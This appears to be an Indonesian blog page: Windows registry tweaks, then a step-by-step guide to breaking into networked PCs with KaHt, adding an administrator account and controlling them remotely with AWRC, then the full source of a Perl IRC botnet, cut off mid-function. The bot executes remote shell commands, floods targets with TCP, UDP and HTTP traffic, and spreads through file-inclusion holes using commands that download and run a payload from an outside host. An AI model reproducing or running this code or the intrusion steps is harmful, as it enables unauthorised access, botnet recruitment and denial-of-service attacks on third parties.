Jika belum ada, pilih Edit > New > Key dan beri nama sesuai dengan drive yang diinginkan [Misalnya: C untuk drive C:]. Pada value tersebut, buat sebuah Key baru lagi dan beri nama DefaultIcon. Klik ganda option (Default) dan masukkan path tempat Icon berada. Misalnya: D:\yeppy\iconku.ico



(69).Menyembunyikan Drive
-------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoDrives. Klik ganda NoDrives dan tentukan drive mana yang ingin dihilangkan pada Value Data. Misalnya: jika ingin menghilangkan drive E:, masukkan angka 16 pada Value Data. Kombinasi angka pada Value Data adalah sebagai berikut:
A: > 1
B: > 2
C: > 4
D: > 8
E: > 16
F: > 32
G: > 64
H: > 128
I: > 256
J: > 512
K: > 1024
L: > 2048
M: > 4096
Semua: > 67108863



(70).Membuat Tip Of The Day Windows Explorer
--------------------------------------------
Untuk mengaktifkannya buka Windows Explorer kemudian pilih menu View > Explorer Bar > Tip of the Day.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
Di jendela sebelah kanan akan terlihat deretan tip-tip yang tersimpan dalam value 0-49. Dua hal yang bisa dilakukan adalah mengganti tip-tip yang dengan klik ganda masing-masing value dengan teks yang diinginkan. Kedua adalah menambah tip-tip baru dimulai dengan urutan setelah value 49 (misalnya 50 dst.). Pilih Edit > New > String Value dan beri nama berbentuk angka yang melanjutkan angka terakhir pada tip (misalnya 50 dst.).Klik ganda pada value yang baru tersebut dan isikan dengan teks yang diinginkan pada Value Data.



(71).Menyembunyikan Advanced Settings Pada Folder Options Windows Explorer
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
Dibawah key Explorer akan ditemukan subkey bernama Advanced. Klik kanan dan pilih Rename. Ubah nama Advanced menjadi Advancedx.



(72).Kode Curang Bermain Game Hearts
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets
Klik menu Edit > New > Key dan beri nama Hearts. Klik menu Edit > New > String Value dan beri nama ZB dan isikan angka 42 pada Value Data. Buka game Hearts pada Start Menu > All Programs > Games. Setelah memasukkan nama pemain, tekan kombinasi tombol berikut: Ctrl+Shift+Alt+ F12 dan semua kartu akan terbuka.



(73).Membersihkan Sampah Registry
---------------------------------
HKEY_CLASSES_ROOT\Application
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\SOFTWARE
Pilih salah satu subkey yang merupakan nama software yang ingin dihapus, kemudian tekan tombol Del.



(74).Membersihkan Sampah Uninstall
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang memiliki nama yang sama dengan software yang telah di-uninstall.



(75).Menghapus Daftar Program Yang Tidak Diinginkan Dari Add/Remove Programs
----------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang berisikan program yang tidak diinginkan dengan menekan tombol Del.



(76).Menjalankan Program Saat StartUp
-------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Pilih menu Edit > New > String Value dengan nama Winamp misalnya. Klik ganda pada value tersebut dan masukkan path tempat program tersebut terinstall (C:\Program Files\Winamp\Winamp.exe).



(77).Menghapus StartUp Items Di MSCONFIG
----------------------------------------
Klik Start > Run > ketik msconfig, kemudian klik pada tab startup, hilangkan tanda centang pada program yang ingin dihapus dari daftar startup.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Hapus subkey yang berisikan program-program yang tidak diinginkan dengan menekan tombol Del.



(78).Mempercepat Proses Shutdown Windows XP
-------------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
Klik ganda WaitToKillServiceTi meout dan ubah nilainya menjadi lebih rendah dari 2000.



(79).Menyembunyikan Device Manager
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pilih menu Edit > New > Key dan beri nama System. Di subkey System buatlah sebuah DWORD Value baru dan beri nama NoDevMgrPage. Klik ganda NoDevMgrPage dan masukkan angka 1 pada Value Data.



(80).Menonaktifkan Fungsi AutoRun
---------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik ganda NoDriveTypeAutoRun dan masukkan angka 95 pada Value Data.



(81).Mematikan Secara Otomatis Program Not Responding
-----------------------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda AutoEndTasks dan masukkan angka 1 pada Value Data.



(82).Memunculkan Option My Computer Yang Tersembunyi
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
Klik ganda Flags kemudian ganti menjadi Decimal dan masukkan angka 1 pada Value Data.



(83).Menonaktifkan Fungsi New Window Di Internet Explorer
---------------------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
Buat sebuah DWORD Value baru dan beri nama NoOpeninNewWnd. Klik ganda NoOpeninNewWnd dan masukkan 1 pada Value Data.



(84).Mengganti Background Toolbar Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
Pilih menu Edit > New > String Value dan beri nama BackBitmap. Klik ganda BackBitmap dan isikan dengan path tempat gambar bitmap (.bmp) yang akan menjadi background toolbar berada pada Value Data. Misalnya: C:\WINDOWS\Wallpaper.bmp



(85).Mengganti Versi Internet Explorer
--------------------------------------
Untuk mengetahui versi Internet Explorer yang dimiliki: Help > About Internet Explorer pada browser Internet Explorer.
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer
Klik ganda Version dan masukkan angka yang diinginkan pada Value Data.



(86).Mengecek ProductID Internet Explorer
-----------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration
Lihat ProductID pada key ProductId, pada value tersebut akan tercatat berapa ProductID Internet Explorer yang digunakan.



(87).Mode Full Screen Pada Internet Explorer
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Klik ganda FullScreen dan masukkan teks Yes pada Value Data.



(88).Mengganti Title Internet Explorer
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama Window Title. Klik ganda Window Title dan masukkan teks yang diinginkan pada Value Data.



(89).Membersihkan Daftar URL Pada Internet Explorer
---------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
Hapus value url1, url2 dan seterusnya dengan menekan tombol Del.



(90).Menyembunyikan Tombol Go Pada Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama ShowGoButton. Klik ganda ShowGoButton dan masukkan angka 0 pada Value Data.



(91).Mengganti Nama Icon Internet Explorer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
Klik ganda pada value (Default) disamping kanan, masukkan teks yang diinginkan pada Value Data.



(92).Menambahkan Domain .Gov Pada Pencarian Website
----------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\UrlTemplate
Pilih Edit > New > String Value dan beri nama dengan angka yang
merupakan kelanjutan dari angka-angka yang sudah ada.
Klik ganda pada value tersebut dan ketik %s.gov pada Value Data.



(93).Tweaking Memory Pada Windows XP
------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
Klik ganda pada DisablePagingExecutive dan masukkan angka 1 pada Value Data.
Apabila diaktifkan,Windows tidak akan melakukan paging file ke dalam hard disk.
Sistem operasi dan program-program menjadi lebih responsif. Disarankan untuk komputer yang memiliki memori lebih dari 128MB. Klik ganda pada LargeSystemCache dan masukkan angka 1 pada Value Data. Jika diaktifkan, sistem akan mengalokasikan seluruh memori (kecuali 4 MB untuk disk caching) untuk file caching. Komputer akan melakukan caching kernel XP di dalam memory sehingga Windows XP dapat berjalan lebih cepat.



(94).Unload .dll Untuk Mempercepat Akses Memori
-----------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Key dan beri nama AlwaysUnloadDLL. Pada option Default Value masukkan angka 1.



(95).Menghapus Pagefile Saat Shut Down
--------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Session Manager\Memory Management

Klik ganda ClearPageFileAtShut down dan masukkan angka 1 pada Value Data.



(96).Memindahkan Pagefile
-------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

Klik ganda PagingFiles kemudian ganti path ke lokasi baru yang diinginkan. Misalnya: D:\pagefile.sys 1024 1024



(97).Menyembunyikan Help And Support
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru -Menu Edit > New > DWORD Value, dan beri nama NoSMHelp. Kemudian klik ganda pada NoSMHelp dan isi dengan angka 1 pada Value Data. Restart komputer.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

KaHt dan AWRC(Remot Desktop)

Banyak cara untuk meremote sebuah komputer melalui jaringan. Salah satunya adalah dengan menggunakan Atelier Web Remote Commander atau dikenal juga dengan AWRC.

Namun apabila dengan menggunakan trojan biasa meremote sebuah komputer harus terdiri dari dua bagian, yaitu server (slave, istilahnya Frendy) dan client, namun tidak dengan AWRC. Inilah kemampuan luar biasa yang dimiliki oleh AWRC. Selain itu, software ini juga tidak akan dicurigai oleh firewall maupun pengguna yang pengalaman. Hal ini dikarenakan AWRC menggunakan port yang biasa digunakan oleh Microsoft Network, yaitu port 445 pada Windows 2000, XP, dan 2003 atau port 139 jika port 445 tidak tersedia. Menurut pembuat AWRC yang dilansir dari situs www.atelierweb.com, software ini menggunakan teknologi militer. Namun pernyataan ini agak diragukan oleh S'to dalam bukunya Uncensored, Seri Teknik Hacking terbitan tahun 2005.
Sebelum memulai, penulis ingin mengingatkan, bahwa penulis tidak bertanggung jawab atas penyalahgunaan cara-cara yang diuraikan pada artikel ini. Artikel ini digunakan untuk kepentingan ilmu pengetahuan dan pengamanan jaringan.
Oke, kita mulai saja bagaimana cara melakukannya. Intinya cara ini amat sangatlah mudah. Untuk meremote desktop menggunakan AWRC, yang diperlukan hanyalah username dan password yang akan diremote. Bagaimana apabila tidak mempunyai username dan password pada komputer korban? Untuk itulah digunakan KaHt. Untuk mendapatkan software KaHt dan AWRC, silahkan cari dan download dengan menggunakan google. Penulis menggunakan KaHT II dan AWRC versi 5.00. Berikut cara-cara untuk meremote desktop.
  1. Instal AWRC di komputer.
  2. Download dan salin KaHt. Untuk lebih memudahkan, salin tanpa menggunakan folder. Misalnya salin di drive D.
  3. Buka command prompt dan pindahkan posisi ke drive yang ada KaHtnya. Ketik kaht <ip pertama> <ip terakhir> lalu tekan enter. Misalnya yang akan dilakukan adalah masuk ke komputer dengan ip 10.1.1.7. Lalu ketikan perintah Å“kaht 10.1.1.1 10.1.1.10. Jangkauan untuk ip address diserahkan kepada pemakai. 
  4. Kini kita telah berada di komputer korban. Untuk memasukkan username, ketikan net user <nama user> <password> /add lalu tekan enter. Misalnya kita akan memasukkan divtopln dengan password coba, maka ketikan net user divtopln coba /add tekan enter. Apabila keluar tulisan The command completed successfully, berarti kita telah mempunyai user dengan nama divtopln dan password coba yang mempunyai hak akses adminitrator.
  5. Sekarang bukalah AWRC yang telah diinstal. Masukan ip address pada remote host, username pada username dan password pada password lalu klik Connect yang ada pada layar kiri bawah. Tunggulah beberapa saat hingga terhubung dan kita akan terlihat tampilan desktop komputer yang telah kita remote. Pada AWRC yang digunakan oleh penulis, kita dapat melihat segalanya mengenai komputer korban.
  6. Kegagalan dalam koneksi sangat mungkin terjadi. Hal ini disebabkan karena sistem operasi komputer yang akan diremote tidak mendukung. Sistem operasi tersebut adalah Windows XP Home Edition, 95, 98, Me, dan lain-lain. Selain itu, kemungkinan lainnya adalah service client for Microsoft Network dan file and printer sharing tidak aktif pada komputer korban. Pada Windows XP Profesional, prasyarat tambahannya adalah setting model sharing dan security harus dirubah menjadi classical sharing and security model for local account. Untuk mengetahui lebih lengkapnya tentang software ini, bisa dilihat di www.atelierweb.com atau buku Uncensored, Seni Hacking I yang ditulis oleh S'to dan diterbitkan oleh jasakom.
  7. Untuk terhindar dari serangan ini, baik KaHt maupun AWRC, tutup semua port atau gunakan sistem operasi yang disebutkan di atas. Hal ini telah dipraktekan di Laboratorium Internet Program D-III Ilmu Komputer Universitas Padjadjaran.
  8. Selamat Mencoba dan Selamat Belajar...

  1.  
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Bot Irc

Dapet Dari Forum Sebelah Silahkan Di Coba:

#!/usr/bin/perl
# VulnScan v6 Stable By Morgan
#
# Note:
# DO NOT REMOVE COPYRIGHTS ...
# www.priv8.com.ar
#
# [Morgan]: http://priv8.com.ar/Zerocool.jpg
# [Morgan]: u got owned
# [ZEROCOOL]: bro
# [ZEROCOOL]: it's a rbot
# [ZEROCOOL]: i'm not fuckingstupid
# [ZEROCOOL]: uahuahuahuahua
#
#
# Greets to irc.gigachat.net :: #Morgan
#
#
# To work with auto-spread :
# Create a file named spread.txt with this :
#
# <?
# passthru('cd /tmp;wget http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;curl -O http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;lwp-download http://priv8.com.ar/v6;perl v6.txt;rm -f v6*');
# passthru('cd /tmp;lynx -source http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;fetch http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;GET http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# ?>
#
# Change the url .. put ur bot url in that file
# then use the command :
#
# !morgan !eval @cmdstring='http://yoursite.com/spread.txt';
# or directly change it from the code..
#
# Enjoy the bot ....
# /Morgan


my $processo = '[v6]';
use HTTP::Request;
use LWP::UserAgent;

#CONFIGURATION
my $linas_max='4';
my $sleep='5';
my @gstring='www.priv8.com.ar';
my @cmdstring='http://tckct.co.uk/v6.txt';
my @adms=("r00t","blah-");
my @canais=("#ddos");
my $nick='scanner';
my $ircname ='morgan';
chop (my $realname = `uname -a`);
$servidor='66.252.24.32' unless $servidor;
my $porta='6667';
my $VERSAO = 'Vulnscan v6 www.priv8.com.ar';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!morgan)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP DDoSing]\002 Attack done ".$1.":".$2.".");
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 w0rmb0t ver ".$VERSAO);
}
#SCANNER
           if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
         $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6]\002 Scan started.");
     srand;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
 #sendraw($IRC_cur_socket, "PRIVMSG #debug :\002[v6|Exploiting]\002 ".$url2."\n\n");
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdstring?";

print "\n".$url2."\n\n";


# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
 if( $response->content =~ /By/ && $response->content =~ /Morgan/ ){
 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6|VULN]\002 ".$url2." \n\n");
}
}
else {
    print 'Errore: ',$path,$response->status_line, "\n";
}
 }
}
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[v6]\002 Scan finished in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP DDoSing]\002 Attacking ".$1.":80 for ".$2." seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP DDoSing]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}
# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# V6 OWNED YOUR BOX
# www.priv8.com.ar
# irc.gigachat.net - #Morgan

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
{
my @dominios = ("nodom");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"@gstring");
}

    my $query="www.google.com/search?q=";
